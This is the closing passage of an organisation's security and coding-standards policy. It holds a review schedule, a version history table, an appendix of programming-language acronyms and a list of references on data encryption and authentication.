This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 2.0 |  | Coding Standards completed. | Raymond Aponte |  |
| 3.0 | 12/11/2022 | Completion of documentation. | Raymond Aponte |  |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |

References

Argintaru, D. (2021, July 22). *Data Encryption - Data at rest vs in transit vs in use options*. Mimecast. Retrieved December 10, 2022, from https://www.mimecast.com/blog/data-in-transit-vs-motion-vs-rest/

Mylonas, L. (2018, November 27). *What is AAA Security? an introduction to authentication, Authorisation and Accounting*. Codebots. Retrieved December 10, 2022, from https://codebots.com/application-security/aaa-security-an-introduction-to-authentication-authorisation-accounting

OpsCompass Staff. (2015, July 10). *Are you encrypting your data-in-flight? if not, you should be.* OpsCompass. Retrieved December 10, 2022, from https://opscompass.com/resources/blog/are-you-encrypting-your-data-in-flight-if-not-you-should-be/